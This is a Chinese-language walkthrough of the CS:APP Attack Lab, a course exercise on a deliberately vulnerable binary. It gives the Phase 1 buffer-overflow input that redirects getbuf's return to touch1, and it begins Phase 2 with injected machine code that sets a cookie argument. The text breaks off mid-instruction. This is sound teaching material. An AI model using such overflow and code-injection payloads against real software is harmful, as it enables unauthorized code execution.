Attack lab
Attack lab的handout写的非常详细,容易上手。一共分为两部分:第一部分是code injection attack,有3个phase;第二部分是return-oriented programming,需要在已有的程序里找需要执行的指令来完成整个程序,有2个phase。
Phase 1:
在这部分需要做的工作很简单,利用缓存区溢出,把位于getbuf栈帧底部的返回地址改为函数touch1的地址即可。
在反汇编的代码中找到getbuf函数:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
可以看到分配的缓存区大小是0x28,,也就算40个字节。
也就是我们需要输入40个字节+目标地址(touch1)。
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40
注意小端存储模式是低位在低地址,先输入,所以地址的输入顺序应该是按字节反过来的。
Phase 2:
这一关不但要跳转到函数touch2,还要在这之前传递指定参数。
思路是:在缓冲区中注入代码,并将原本的函数返回地址重定向到我们注入的代码。
注入的代码是:
48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi //将cookie赋值给rdi(传参)
68 ec 17 40 0